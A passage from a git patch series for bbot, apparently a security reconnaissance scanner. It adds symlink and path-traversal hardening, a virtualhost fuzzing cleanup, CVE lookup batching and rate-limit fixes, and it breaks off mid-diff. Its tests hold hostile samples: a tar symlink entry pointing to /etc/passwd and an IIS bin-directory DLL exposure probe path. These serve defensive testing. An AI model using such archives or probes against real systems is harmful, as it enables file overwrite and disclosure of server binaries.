de786b3e89..a4657b7393 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -146,8 +146,23 @@ async def get_workflow_runs(self, owner, repo, workflow_id): runs.append(item) return runs + def _check_output_path(self, folder): + try: + rel = folder.relative_to(self.output_dir) + except ValueError: + return False + current = self.output_dir + for part in rel.parts: + current = current / part + if current.is_symlink(): + self.warning(f"Refusing to write through symlink: {current}") + return False + return True + async def download_run_logs(self, owner, repo, run_id): folder = self.output_dir / owner / repo + if not self._check_output_path(folder): + return [] self.helpers.mkdir(folder) filename = f"run_{run_id}.zip" file_destination = folder / filename @@ -209,6 +224,8 @@ async def get_run_artifacts(self, owner, repo, run_id): async def download_run_artifacts(self, owner, repo, artifact_id, artifact_name): folder = self.output_dir / owner / repo + if not self._check_output_path(folder): + return None self.helpers.mkdir(folder) file_destination = folder / artifact_name try: diff --git a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py index c22b98121b..74339b3dec 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py @@ -1,4 +1,6 @@ +import os import io +import shutil import zipfile from pathlib import Path @@ -524,3 +526,39 @@ def check(self, module_test, events): for filesystem_event in filesystem_events: file = Path(filesystem_event.data["path"]) assert file.is_file(), "Destination file does not exist" + + +class TestGithubWorkflowsSymlinkCheck(ModuleTestBase): + modules_overrides = ["github_workflows"] + config_overrides = {"modules": {"github_workflows": {"api_key": "asdf"}}} + + async def setup_before_prep(self, module_test): + module_test.httpx_mock.add_response(url="https://api.github.com/zen") + + async def setup_after_prep(self, module_test): + m = module_test.scan.modules["github_workflows"] + + symlink_target = Path("/tmp/.bbot_test/symlink_target") + if symlink_target.exists(): + shutil.rmtree(symlink_target) + symlink_target.mkdir(parents=True, exist_ok=True) + + # symlink at the repo level: output_dir/owner/repo -> symlink_target + owner_dir = m.output_dir / "testowner" + owner_dir.mkdir(parents=True, exist_ok=True) + repo_symlink = owner_dir / "testrepo" + os.symlink(str(symlink_target), str(repo_symlink)) + + # symlink at the owner level: output_dir/badowner -> symlink_target + bad_owner = m.output_dir / "badowner" + os.symlink(str(symlink_target), str(bad_owner)) + + self.results = {} + self.results["normal_path"] = m._check_output_path(m.output_dir / "clean" / "repo") + self.results["repo_symlink"] = m._check_output_path(repo_symlink) + self.results["owner_symlink"] = m._check_output_path(bad_owner / "anyrepo") + + def check(self, module_test, events): + assert self.results["normal_path"], "Normal path was rejected" + assert not self.results["repo_symlink"], "Symlink at repo level was not rejected" + assert not self.results["owner_symlink"], "Symlink at owner level was not rejected" From 5caf3cb483f233cf4a64a80a7135948772407db3 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 14:09:09 -0400 Subject: [PATCH 826/912] Fix github_workflows symlink test: use blasthttp_mock --- .../test_step_2/module_tests/test_module_github_workflows.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py index 74339b3dec..cd1a9b86ac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py @@ -533,7 +533,7 @@ class TestGithubWorkflowsSymlinkCheck(ModuleTestBase): config_overrides = {"modules": {"github_workflows": {"api_key": "asdf"}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response(url="https://api.github.com/zen") + module_test.blasthttp_mock.add_response(url="https://api.github.com/zen") async def setup_after_prep(self, module_test): m = module_test.scan.modules["github_workflows"] From 2bdec8831eba661a4512e580e13657aa4cc4d527 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 14:36:39 -0400 Subject: [PATCH 827/912] Add defense-in-depth hardenings for security fixes - unarchive: detect symlink/hardlink entries in archives - github_workflows: check output_dir itself for symlinks - github_workflows: sanitize artifact_name with Path.name --- bbot/modules/github_workflows.py | 5 ++++- bbot/modules/internal/unarchive.py | 17 +++++++++++++++-- .../test_module_github_workflows.py | 14 ++++++++++++++ .../module_tests/test_module_unarchive.py | 10 ++++++++++ 4 files changed, 43 insertions(+), 3 deletions(-) diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index a4657b7393..d98039f211 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -147,6 +147,9 @@ async def get_workflow_runs(self, owner, repo, workflow_id): return runs def _check_output_path(self, folder): + if self.output_dir.is_symlink(): + self.warning(f"Refusing to write through symlink: {self.output_dir}") + return False try: rel = folder.relative_to(self.output_dir) except ValueError: @@ -227,7 +230,7 @@ async def download_run_artifacts(self, owner, repo, artifact_id, artifact_name): if not self._check_output_path(folder): return None self.helpers.mkdir(folder) - file_destination = folder / artifact_name + file_destination = folder / Path(artifact_name).name try: await self.api_download( f"{self.base_url}/repos/{owner}/{repo}/actions/artifacts/{artifact_id}/zip", diff --git a/bbot/modules/internal/unarchive.py b/bbot/modules/internal/unarchive.py index aaa5fca189..7a9bc94eba 100644 --- a/bbot/modules/internal/unarchive.py +++ b/bbot/modules/internal/unarchive.py @@ -93,12 +93,25 @@ async def extract_file(self, path, output_dir): async def _check_archive_safe(self, path, compression_format): if compression_format in ("zip", "7z"): result = await self.run_process(["7z", "l", "-slt", str(path)]) - entries = [line.split("= ", 1)[1] for line in result.stdout.splitlines() if line.startswith("Path = ")] - # first entry is the archive path itself + output_lines = result.stdout.splitlines() + entries = [line.split("= ", 1)[1] for line in output_lines if line.startswith("Path = ")] entries = entries[1:] + # reject symlink/hardlink entries + for line in output_lines: + if line.startswith("Link = ") or ( + line.startswith("Attributes = ") and line.split("= ", 1)[1].strip().startswith("l") + ): + self.warning(f"Archive {path} contains symlink or link entry") + return False else: result = await self.run_process(["tar", "-tf", str(path)]) entries = result.stdout.splitlines() + # reject symlink/hardlink entries via verbose listing + verbose = await self.run_process(["tar", "-tvf", str(path)]) + for line in verbose.stdout.splitlines(): + if line and line[0] in ("l", "h"): + self.warning(f"Archive {path} contains symlink or hardlink entry") + return False for entry in entries: entry = entry.strip() if not entry: diff --git a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py index cd1a9b86ac..83af51be5b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py @@ -553,7 +553,20 @@ async def setup_after_prep(self, module_test): bad_owner = m.output_dir / "badowner" os.symlink(str(symlink_target), str(bad_owner)) + # symlink at the output_dir level itself + output_dir_symlink_base = Path("/tmp/.bbot_test/fake_output_dir") + output_dir_symlink_base.mkdir(parents=True, exist_ok=True) + output_dir_link = Path("/tmp/.bbot_test/output_dir_link") + if output_dir_link.is_symlink() or output_dir_link.exists(): + output_dir_link.unlink() + os.symlink(str(output_dir_symlink_base), str(output_dir_link)) + + saved_output_dir = m.output_dir + m.output_dir = output_dir_link + self.results = {} + self.results["output_dir_symlink"] = m._check_output_path(output_dir_link / "owner" / "repo") + m.output_dir = saved_output_dir self.results["normal_path"] = m._check_output_path(m.output_dir / "clean" / "repo") self.results["repo_symlink"] = m._check_output_path(repo_symlink) self.results["owner_symlink"] = m._check_output_path(bad_owner / "anyrepo") @@ -562,3 +575,4 @@ def check(self, module_test, events): assert self.results["normal_path"], "Normal path was rejected" assert not self.results["repo_symlink"], "Symlink at repo level was not rejected" assert not self.results["owner_symlink"], "Symlink at owner level was not rejected" + assert not self.results["output_dir_symlink"], "Symlink at output_dir level was not rejected" diff --git a/bbot/test/test_step_2/module_tests/test_module_unarchive.py b/bbot/test/test_step_2/module_tests/test_module_unarchive.py index bf373b1a70..9beab8d5e9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_unarchive.py +++ b/bbot/test/test_step_2/module_tests/test_module_unarchive.py @@ -283,12 +283,21 @@ async def setup_after_prep(self, module_test): with zipfile.ZipFile(traversal_zip, "w") as zf: zf.writestr("../escaped.txt", "escaped") + # tar with symlink entry + symlink_tar = temp_path / "symlink.tar" + with tarfile.open(symlink_tar, "w") as tar: + info = tarfile.TarInfo(name="evil_link") + info.type = tarfile.SYMTYPE + info.linkname = "/etc/passwd" + tar.addfile(info) + self.results = {} self.results["safe_tar"] = await m._check_archive_safe(safe_tar, "tar") self.results["traversal_tar"] = await m._check_archive_safe(traversal_tar, "tar") self.results["absolute_tar"] = await m._check_archive_safe(absolute_tar, "tar") self.results["safe_zip"] = await m._check_archive_safe(safe_zip, "zip") self.results["traversal_zip"] = await m._check_archive_safe(traversal_zip, "zip") + self.results["symlink_tar"] = await m._check_archive_safe(symlink_tar, "tar") def check(self, module_test, events): assert self.results["safe_tar"], "Safe tar rejected" @@ -296,3 +305,4 @@ def check(self, module_test, events): assert not self.results["absolute_tar"], "Absolute path tar was not rejected" assert self.results["safe_zip"], "Safe zip rejected" assert not self.results["traversal_zip"], "Traversal zip was not rejected" + assert not self.results["symlink_tar"], "Symlink tar was not rejected" From 544311efc81bc33a67a3cf2e81540682f18ecacf Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 15:07:53 -0400 Subject: [PATCH 828/912] Remove dead neighbor_cidr validation in setup() Pydantic model (ge=24, le=31) already enforces range. --- bbot/modules/waf_bypass.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 4d19dd8b28..1ddae0aad4 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -47,9 +47,6 @@ async def setup(self): self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) - if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): - self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") - return False # Keep track of (protected_domain, ip) pairs we have already attempted to bypass self.attempted_bypass_pairs = set() # Keep track of any IPs that came from hosts that are "cloud-ips" From 734e4009df737b42f882a29ab8a5a4d01e8379ca Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 16:11:25 -0400 Subject: [PATCH 829/912] Strengthen aspnet_bin_exposure test for tracker correlation Only technique 1 is vulnerable; technique 2 returns 404. Catches tracker mis-correlation that the prior both-vulnerable setup missed. --- .../test_module_aspnet_bin_exposure.py | 87 ++++++++----------- 1 file changed, 36 insertions(+), 51 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index dca767e7c6..2af603865f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -3,65 +3,50 @@ class TestAspnetBinExposure(ModuleTestBase): + """Only technique 1 is vulnerable; technique 2 returns 404. + + A tracker mis-correlation would either build the confirm URL from the + wrong technique pattern (hitting the 404 fallback) or attribute technique + 2's 404 result to technique 1 (skipping detection). Either way the + assertion on the Detection Url pattern would fail. + """ + targets = ["http://127.0.0.1:8888"] modules_overrides = ["http", "aspnet_bin_exposure"] async def setup_before_prep(self, module_test): - # Simulate successful DLL exposure - expect_args = { - "method": "GET", - "uri": "/b/(S(X))in/Newtonsoft.Json.dll/(S(X))/", - } - respond_args = { - "status": 200, - "headers": {"content-type": "application/x-msdownload"}, - "response_data": b"MZ\x90\x00\x03\x00\x00\x00", - } - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - # Simulate failed DLL exposure (confirmation test) - expect_args = { - "method": "GET", - "uri": "/b/(S(X))in/oopsnotarealdll.dll/(S(X))/", - } - respond_args = {"status": 404} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - # Simulate alternative technique - expect_args = { - "method": "GET", - "uri": "/(S(X))/b/(S(X))in/Newtonsoft.Json.dll", - } - respond_args = { - "status": 200, - "headers": {"content-type": "application/x-msdownload"}, - "response_data": b"MZ\x90\x00\x03\x00\x00\x00", - } - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Technique 1: vulnerable (200 + DLL content-type) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/b/(S(X))in/Newtonsoft.Json.dll/(S(X))/"}, + respond_args={ + "status": 200, + "headers": {"content-type": "application/x-msdownload"}, + "response_data": b"MZ\x90\x00\x03\x00\x00\x00", + }, + ) - # Simulate failed alternative technique (confirmation test) - expect_args = { - "method": "GET", - "uri": "/(S(X))/b/(S(X))in/oopsnotarealdll.dll", - } - respond_args = {"status": 404} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Technique 1: confirm (fake DLL -> 404 = genuine vulnerability) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/b/(S(X))in/oopsnotarealdll.dll/(S(X))/"}, + respond_args={"status": 404}, + ) - # Fallback for any other requests - expect_args = {"uri": re.compile(r"^/.*$")} - respond_args = {"status": 404} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Everything else (technique 2 probes, other DLLs) -> 404 + module_test.set_expect_requests( + expect_args={"uri": re.compile(r"^/.*$")}, + respond_args={"status": 404}, + ) def check(self, module_test, events): - finding_found = False - for e in events: - if e.type == "FINDING" and "IIS Bin Directory DLL Exposure" in e.data["description"]: - finding_found = True - assert e.data["severity"] == "HIGH", "Vulnerability severity should be HIGH" - assert "Detection Url" in e.data["description"], "Description should include detection URL" - break - - assert finding_found, "No finding event was found" + findings = [ + e for e in events if e.type == "FINDING" and "IIS Bin Directory DLL Exposure" in e.data["description"] + ] + assert len(findings) == 1, f"Expected exactly 1 finding, got {len(findings)}" + finding = findings[0] + assert finding.data["severity"] == "HIGH" + assert "b/(S(X))in/" in finding.data["description"], ( + f"Detection Url should use technique 1 pattern, got: {finding.data['description']}" + ) class TestAspnetBinExposure_DeadHost(ModuleTestBase): From 1f3adf13ff65993623a1238e68e5ff1f1bdd2f0d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 16:31:30 -0400 Subject: [PATCH 830/912] Address review findings for virtualhost module Register VIRTUAL_HOST as DictHostEvent with host+virtual_host dedup, use local RNG instead of global random.seed(), fix produced_events (DNS_NAME_UNVERIFIED not DNS_NAME), drop unused pyOpenSSL dep, fix config fallback values, and discard results on flood detection. --- bbot/core/event/base.py | 25 +++++++++++++++++++++++++ bbot/modules/virtualhost.py | 29 ++++++++++------------------- 2 files changed, 35 insertions(+), 19 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index c13d99f883..128571ff3d 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -2005,6 +2005,31 @@ def _data_human(self): return tech +class VIRTUAL_HOST(DictHostEvent): + class _data_validator(BaseModel): + host: str + virtual_host: str + url: Optional[str] = None + description: Optional[str] = None + ip: Optional[str] = None + _validate_url = field_validator("url")(validators.validate_url) + _validate_host = field_validator("host")(validators.validate_host) + + def _data_id(self): + virtual_host = self.data.get("virtual_host", "") + return f"{self.host}:{virtual_host}" + + def _pretty_string(self): + return self.data.get("virtual_host", "") + + def _data_human(self): + virtual_host = self.data.get("virtual_host", "") + url = self.data.get("url", "") + if url: + return f"{virtual_host} ({url})" + return virtual_host + + class PROTOCOL(DictHostEvent): class _data_validator(BaseModel): host: str diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index f6550a4963..775dd1107c 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -9,12 +9,10 @@ class virtualhost(BaseModule): watched_events = ["URL"] - produced_events = ["VIRTUAL_HOST", "DNS_NAME", "HTTP_RESPONSE"] + produced_events = ["VIRTUAL_HOST", "DNS_NAME_UNVERIFIED", "HTTP_RESPONSE"] flags = ["active", "loud", "slow"] meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - deps_pip = ["pyOpenSSL~=25.3.0"] - SIMILARITY_THRESHOLD = 0.8 CANARY_LENGTH = 12 MAX_RESULTS_FLOOD_PROTECTION = 50 @@ -186,7 +184,7 @@ async def handle_event(self, event): ) # Phase 3: Special virtual host list - if self.config.get("special_hosts", True): + if self.config.get("special_hosts", False): self.verbose(f"=== Starting special virtual hosts check on {normalized_url} ===") await self._run_virtualhost_phase( "Special virtual host list", @@ -201,7 +199,7 @@ async def handle_event(self, event): ) # Phase 4: Obtain subject alternate names from certicate and analyze them - if self.config.get("certificate_sans", True): + if self.config.get("certificate_sans", False): self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===") if is_https: subject_alternate_names = await self._analyze_subject_alternate_names(normalized_url) @@ -315,24 +313,18 @@ async def _report_interesting_default_content(self, event, canary_hostname, host def _get_canary_random_host(self, host, basehost, mode="subdomain"): """Generate a random host for the canary""" - # Seed RNG with domain to get consistent canary hosts for same domain - random.seed(host) + rng = random.Random(host) - # Generate canary hostname based on mode if mode == "mutation": - # Prepend random 4-character string with dash to existing hostname - random_prefix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + random_prefix = "".join(rng.choice(string.ascii_lowercase) for i in range(4)) canary_host = f"{random_prefix}-{host}" elif mode == "subdomain": - # Default subdomain mode - add random subdomain - canary_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost + canary_host = "".join(rng.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost elif mode == "random_append": - # Append random string to existing hostname (first domain level) - random_suffix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + random_suffix = "".join(rng.choice(string.ascii_lowercase) for i in range(4)) canary_host = f"{host.split('.')[0]}{random_suffix}.{'.'.join(host.split('.')[1:])}" elif mode == "random": - # Fully random hostname with .com TLD - random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + random_host = "".join(rng.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) canary_host = f"{random_host}.com" else: raise ValueError(f"Invalid canary mode: {mode}") @@ -652,12 +644,11 @@ async def _test_virtualhost_candidates( f"ADDED RESULT {len(virtual_host_results)}: {result['probe_host']} (similarity: {result['similarity']:.3f}) [Status: {result['status_code']} | Size: {result['content_length']} bytes]" ) - # Early exit if we're clearly hitting false positives if len(virtual_host_results) >= self.MAX_RESULTS_FLOOD_PROTECTION: self.warning( - f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - stopping further tests and skipping reporting" + f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - discarding results" ) - break + return [] except Exception as e: if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): From 960fa7799f501963b883e5d8e9845254e9ef1669 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 17:35:09 -0400 Subject: [PATCH 831/912] Retrigger CI From 7a4b43070c7cec9a4574165057d7fc58e818f46e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 18:23:29 -0400 Subject: [PATCH 832/912] Address review findings for shodan_idb CVE enrichment Batch CVEDB lookups via request_batch_stream (2min -> 3s), port test to blasthttp_mock, dedup vulns, fix 0.0 CVSS or-chain, add cross-host cache test. --- bbot/modules/shodan_idb.py | 48 +++++----- .../module_tests/test_module_shodan_idb.py | 95 +++++++++---------- 2 files changed, 69 insertions(+), 74 deletions(-) diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index a2c6d90ab0..9eec8104a5 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -153,14 +153,18 @@ async def _parse_response(self, data: dict, event, ip): parent=event, context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}', ) - vulns = data.get("vulns", []) + vulns = list(dict.fromkeys(data.get("vulns", []))) if vulns: + await self._enrich_cves(vulns) cve_entries = [] for cve_id in vulns: - details = await self._get_cve_details(cve_id) + details = self._cve_cache.get(cve_id) cvss = None if details: - cvss = details.get("cvss_v3") or details.get("cvss") or details.get("cvss_v2") + for key in ("cvss_v3", "cvss", "cvss_v2"): + cvss = details.get(key) + if cvss is not None: + break cve_entries.append({"cve": cve_id, "cvss": cvss, "severity": self._cvss_to_severity(cvss)}) # sort highest CVSS first so the worst shows up first cve_entries.sort(key=lambda e: (e["cvss"] is None, -(e["cvss"] or 0), e["cve"])) @@ -189,29 +193,21 @@ async def _parse_response(self, data: dict, event, ip): context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found potential {{event.type}}: {vulns_str}', ) - async def _get_cve_details(self, cve_id): - """Look up a CVE in Shodan's CVEDB, caching results for the lifetime of the scan.""" - if cve_id in self._cve_cache: - return self._cve_cache[cve_id] - url = f"{self.cvedb_url}/{cve_id}" - - # respect the same 1-req-per-second rate limit as the InternetDB endpoint - current_time = time.time() - time_since_last = current_time - self.last_request_time - if time_since_last < 1: - await self.helpers.sleep(1 - time_since_last) - self.last_request_time = time.time() - - details = None - r = await self.api_request(url) - if r is not None and r.status_code == 200: - try: - details = r.json() - except Exception as e: - self.verbose(f"Error parsing JSON response from {url}: {e}") - self.trace() - self._cve_cache[cve_id] = details - return details + async def _enrich_cves(self, cve_ids): + """Batch-fetch CVE details from Shodan's CVEDB, skipping any already cached.""" + uncached = [cve_id for cve_id in cve_ids if cve_id not in self._cve_cache] + if not uncached: + return + probes = [(f"{self.cvedb_url}/{cve_id}", {}, cve_id) for cve_id in uncached] + async for url, response, cve_id in self.helpers.request_batch_stream(probes, threads=10): + details = None + if response is not None and response.status_code == 200: + try: + details = response.json() + except Exception as e: + self.verbose(f"Error parsing JSON response from {url}: {e}") + self.trace() + self._cve_cache[cve_id] = details @classmethod def _cvss_to_severity(cls, score): diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py index 5df297649e..e1dc470d3a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py @@ -1,4 +1,5 @@ from .base import ModuleTestBase +from bbot.test.mock_blasthttp import MockResponse class TestShodan_IDB(ModuleTestBase): @@ -25,28 +26,26 @@ async def setup_after_prep(self, module_test): "mail.blacklanternsecurity.com", ], "ip": "1.2.3.4", - "ports": [ - 25, - 80, - 443, - ], + "ports": [25, 80, 443], "tags": ["starttls", "self-signed", "eol-os"], - # CVE-2021-26857 is intentionally listed twice to exercise the per-scan - # CVE detail cache: the second occurrence must hit the cache rather than - # making a second CVEDB request (the mock below is single-use). - "vulns": ["CVE-2021-26857", "CVE-2021-26855", "CVE-2021-26857"], + "vulns": ["CVE-2021-26857", "CVE-2021-26855"], }, ) - # CVEDB enrichment lookups (each mock is single-use by default in pytest-httpx, - # so a cache miss on a repeat lookup would fail to find a mock and raise). - module_test.httpx_mock.add_response( - url="https://cvedb.shodan.io/cve/CVE-2021-26857", - json={"cve_id": "CVE-2021-26857", "cvss_v3": 7.8}, + module_test.cvedb_request_counts = {} + + def make_cb(cve_id, cvss): + def cb(request): + module_test.cvedb_request_counts[cve_id] = module_test.cvedb_request_counts.get(cve_id, 0) + 1 + return MockResponse(status_code=200, json={"cve_id": cve_id, "cvss_v3": cvss}) + + return cb + + module_test.blasthttp_mock.add_callback( + make_cb("CVE-2021-26857", 7.8), url="https://cvedb.shodan.io/cve/CVE-2021-26857" ) - module_test.httpx_mock.add_response( - url="https://cvedb.shodan.io/cve/CVE-2021-26855", - json={"cve_id": "CVE-2021-26855", "cvss_v3": 9.1}, + module_test.blasthttp_mock.add_callback( + make_cb("CVE-2021-26855", 9.1), url="https://cvedb.shodan.io/cve/CVE-2021-26855" ) def check(self, module_test, events): @@ -64,41 +63,41 @@ def check(self, module_test, events): ) finding_events = [e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"] assert 1 == len(finding_events) - finding = finding_events[0] - description = finding.data["description"] - # host appears in the description + description = finding_events[0].data["description"] assert "blacklanternsecurity.com" in description - # per-CVE entries with severity and CVSS assert "CVE-2021-26857 [HIGH, 7.8]" in description assert "CVE-2021-26855 [CRITICAL, 9.1]" in description - # highest-CVSS CVE comes first in the inline list assert description.index("CVE-2021-26855") < description.index("CVE-2021-26857") - # description is single-line assert "\n" not in description - # overall severity is hard-coded to INFO (banner match, not confirmed exploit) - assert finding.data["severity"] == "INFO" + assert finding_events[0].data["severity"] == "INFO" assert 2 == len([e for e in events if e.type == "TECHNOLOGY" and str(e.module) == "shodan_idb"]) - assert 1 == len( - [ - e - for e in events - if e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:/a:microsoft:outlook_web_access:15.0.1367" - ] - ) - # CVE detail cache should be populated for each unique CVE - cve_cache = module_test.module._cve_cache - assert set(cve_cache.keys()) == {"CVE-2021-26857", "CVE-2021-26855"} - assert cve_cache["CVE-2021-26857"]["cvss_v3"] == 7.8 - assert cve_cache["CVE-2021-26855"]["cvss_v3"] == 9.1 - - # CVEDB should be hit exactly once per unique CVE; the duplicate CVE-2021-26857 - # in vulns must hit the cache rather than triggering a second request. - cvedb_requests = [ - r for r in module_test.httpx_mock.get_requests() if r.url.host and r.url.host == "cvedb.shodan.io" - ] - assert len(cvedb_requests) == 2, f"expected 2 CVEDB requests, got {len(cvedb_requests)}" - assert sorted(str(r.url) for r in cvedb_requests) == [ - "https://cvedb.shodan.io/cve/CVE-2021-26855", - "https://cvedb.shodan.io/cve/CVE-2021-26857", - ] + assert set(module_test.module._cve_cache.keys()) == {"CVE-2021-26857", "CVE-2021-26855"} + assert module_test.cvedb_request_counts == {"CVE-2021-26857": 1, "CVE-2021-26855": 1} + + +class TestShodan_IDB_CrossHostCache(ModuleTestBase): + """Same CVE on two different hosts must be fetched from CVEDB only once.""" + + module_name = "shodan_idb" + targets = ["1.2.3.4", "5.6.7.8"] + config_overrides = {"dns": {"minimal": False}} + + async def setup_after_prep(self, module_test): + for ip in ("1.2.3.4", "5.6.7.8"): + module_test.blasthttp_mock.add_response( + url=f"https://internetdb.shodan.io/{ip}", + json={"cpes": [], "hostnames": [], "ip": ip, "ports": [443], "tags": [], "vulns": ["CVE-2021-26855"]}, + ) + module_test.cvedb_counts = {} + + def cb(request): + module_test.cvedb_counts["CVE-2021-26855"] = module_test.cvedb_counts.get("CVE-2021-26855", 0) + 1 + return MockResponse(status_code=200, json={"cve_id": "CVE-2021-26855", "cvss_v3": 9.1}) + + module_test.blasthttp_mock.add_callback(cb, url="https://cvedb.shodan.io/cve/CVE-2021-26855") + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"] + assert len(findings) == 2 + assert module_test.cvedb_counts == {"CVE-2021-26855": 1} From 36013dd4a5e5e54fe941b5b11accc17486c8c9fe Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 19:15:22 -0400 Subject: [PATCH 833/912] Address review findings for 429 rate-limit handling - Fix wakeup-latency ordering: earlier cooldowns now preempt pending wakeups - Prune expired cooldowns and retry counts to avoid unbounded growth - Fix 429 test to actually exercise the module's defer/cooldown/retry path --- bbot/modules/http.py | 37 ++++++++++++------- .../module_tests/test_module_http.py | 12 +++++- 2 files changed, 33 insertions(+), 16 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index c8d94cb9d3..7b6655e5b7 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -45,7 +45,7 @@ async def setup(self): self._max_429_retries = 3 self._429_default_interval = self.scan.web_config.get("429_sleep_interval", 30) self._429_max_interval = self.scan.web_config.get("429_max_sleep_interval", 60) - self._wakeup_pending = False + self._wakeup_target = 0 return True async def filter_event(self, event): @@ -136,10 +136,11 @@ async def _flush_deferred(self): still_deferred = [] flushed = 0 earliest_resume = None + now = time.monotonic() for event in self._deferred_events: host = str(event.host) resume_time = self._host_cooldowns.get(host, 0) - if time.monotonic() >= resume_time: + if now >= resume_time: event._429_retry = True self.incoming_event_queue.put_nowait(event) flushed += 1 @@ -148,17 +149,20 @@ async def _flush_deferred(self): if earliest_resume is None or resume_time < earliest_resume: earliest_resume = resume_time self._deferred_events = still_deferred + # prune expired cooldowns + self._host_cooldowns = {h: t for h, t in self._host_cooldowns.items() if t > now} if flushed: async with self.event_received: self.event_received.notify() - if still_deferred and earliest_resume is not None and not self._wakeup_pending: - delay = max(0.1, earliest_resume - time.monotonic()) - self._wakeup_pending = True - self.helpers.create_task(self._deferred_wakeup(delay)) + if still_deferred and earliest_resume is not None: + if not self._wakeup_target or earliest_resume < self._wakeup_target: + delay = max(0.1, earliest_resume - time.monotonic()) + self._wakeup_target = earliest_resume + self.helpers.create_task(self._deferred_wakeup(delay)) async def _deferred_wakeup(self, delay): await self.helpers.sleep(delay) - self._wakeup_pending = False + self._wakeup_target = 0 await self._flush_deferred() def _build_headers(self): @@ -281,11 +285,12 @@ async def handle_batch(self, *events): paired_probe_urls[schemes["https"]] = key if not stdin: - if self._deferred_events and not self._wakeup_pending: + if self._deferred_events: earliest = min(self._host_cooldowns.get(str(e.host), 0) for e in self._deferred_events) - delay = max(0.1, earliest - time.monotonic()) - 